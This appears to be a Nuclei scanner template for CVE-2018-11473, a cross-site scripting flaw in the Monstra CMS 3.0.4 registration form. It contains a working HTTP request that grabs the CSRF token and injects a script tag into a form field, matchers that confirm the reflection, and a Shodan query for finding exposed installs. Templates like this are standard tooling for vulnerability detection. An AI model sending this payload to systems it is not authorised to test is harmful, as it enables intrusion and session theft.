70 lines
2.3 KiB
YAML
70 lines
2.3 KiB
YAML
id: CVE-2018-11473
|
|
|
|
info:
|
|
name: Monstra CMS 3.0.4 - Cross-Site Scripting
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
remediation: |
|
|
Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
|
|
reference:
|
|
- https://github.com/monstra-cms/monstra/issues/446
|
|
- https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-11473
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2018-11473
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00097
|
|
epss-percentile: 0.40139
|
|
cpe: cpe:2.3:a:monstra:monstra:3.0.4:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: monstra
|
|
product: monstra
|
|
shodan-query: http.favicon.hash:419828698
|
|
tags: cve,cve2018,xss,mostra,mostracms,cms,monstra
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /users/registration HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /users/registration HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test®ister=Register
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "><script>alert(document.domain)</script>"
|
|
- "Monstra"
|
|
case-insensitive: true
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: csrf
|
|
group: 1
|
|
regex:
|
|
- 'id="csrf" name="csrf" value="(.*)">'
|
|
internal: true
|
|
part: body
|
|
# digest: 4a0a00473045022100f8976d7f70d7c1c1aa552f6551ddd2193d6da6de168306be10b5053c3968197802202f02653b79cd0a46ea1def9f3344755df764a6de25b5d1103485c74d752f9bc9:922c64590222798bb761d5b6d8e72950 |